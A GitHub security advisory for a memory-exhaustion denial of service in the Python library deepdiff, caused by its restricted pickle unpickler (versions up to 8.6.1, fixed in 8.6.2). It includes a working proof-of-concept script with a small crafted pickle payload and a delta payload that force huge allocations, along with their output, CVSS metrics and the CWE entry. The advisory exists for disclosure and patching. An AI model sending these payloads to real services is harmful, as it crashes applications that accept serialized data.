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DeepDiff has Memory Exhaustion DoS through SAFE_TO_IMPORT

High severity GitHub Reviewed Published Mar 18, 2026 in qlustered/deepdiff • Updated Mar 18, 2026

Package

pip deepdiff (pip)

Affected versions

>= 5.0.0, <= 8.6.1

Patched versions

8.6.2

Description

Summary

The pickle unpickler _RestrictedUnpickler validates which classes can be loaded but does not limit their constructor arguments. A few of the types in SAFE_TO_IMPORT have constructors that allocate memory proportional to their input (builtins.bytes, builtins.list, builtins.range). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call pickle_load with untrusted data.

Details

CVE-2025-58367 hardened the delta class against pollution and remote code execution by converting SAFE_TO_IMPORT to a frozenset and blocking traversal. _RestrictedUnpickler.find_class only gates which classes can be loaded. It doesn't intercept REDUCE opcodes or validate what is passed to constructors.

It can be exploited in 2 ways.

1 - During pickle_load

A pickle that calls bytes(N) using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override load_reduce so any allowed class can be called.

GLOBAL builtins.bytes      (passes find_class check — serialization.py:353)
INT    10000000000          (10 billion)
TUPLE + REDUCE             → bytes(10**10) → allocates ~9.3 GB

2 - During delta application

A valid diff dict that first sets a value to a large int via values_changed, then converts it to bytes via type_changes. It works because _do_values_changed() runs before _do_type_changes() in Delta.add() in delta.py line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls new_type(current_old_value) at delta.py line 576 with no size guard.

PoC

The script uses Python's resource module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change 10**8 to 10**10 for the full 9.3 GB allocation.

import resource
import sys

def limit_memory(maxsize_mb):
    """Cap virtual memory for this process."""
    soft, hard = resource.getrlimit(resource.RLIMIT_AS)
    maxsize_bytes = maxsize_mb * 1024 * 1024
    try:
        resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))
        print(f"[*] Memory limit set to {maxsize_mb} MB")
    except ValueError:
        print("[!] Failed to set memory limit.")
        sys.exit(1)

# Load heavy imports before enforcing the limit
from deepdiff import Delta
from deepdiff.serialization import pickle_dump, pickle_load

limit_memory(1024)

# --- Delta application path ---
payload_dict = {
    'values_changed': {"root['x']": {'new_value': 10**8}},
    'type_changes': {"root['x']": {'new_type': bytes}},
}

payload1 = pickle_dump(payload_dict)
print(f"Payload size: {len(payload1)} bytes")

target = {'x': 'anything'}
try:
    result = target + Delta(payload1)
    print(f"Allocated: {len(result['x']) // 1024 // 1024} MB")
    print(f"Amplification: {len(result['x']) // len(payload1)}x")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

# --- Raw pickle path ---
payload2 = (
    b"(dp0\n"
    b"S'_'\n"
    b"cbuiltins\nbytes\n"
    b"(I100000000\n"
    b"tR"
    b"s."
)

print(f"Payload size: {len(payload2)} bytes")
try:
    result2 = pickle_load(payload2)
    print(f"Allocated: {len(result2['_']) // 1024 // 1024} MB")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

Output:

[*] Memory limit set to 1024 MB
Payload size: 123 bytes
Allocated: 95 MB
Amplification: 813008x
Payload size: 42 bytes
Allocated: 95 MB

Impact

Denial of service. Any application that deserializes delta objects or calls pickle_load with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion.

The amplification is large. 800,000x for delta and 2,000,000x for raw pickle.

Impacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.

References

@seperman seperman published to qlustered/deepdiff Mar 18, 2026
Published to the GitHub Advisory Database Mar 18, 2026
Reviewed Mar 18, 2026
Last updated Mar 18, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS score

Weaknesses

Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource. Learn more on MITRE.

CVE ID

CVE-2026-33155

GHSA ID

GHSA-54jj-px8x-5w5q

Source code

Credits

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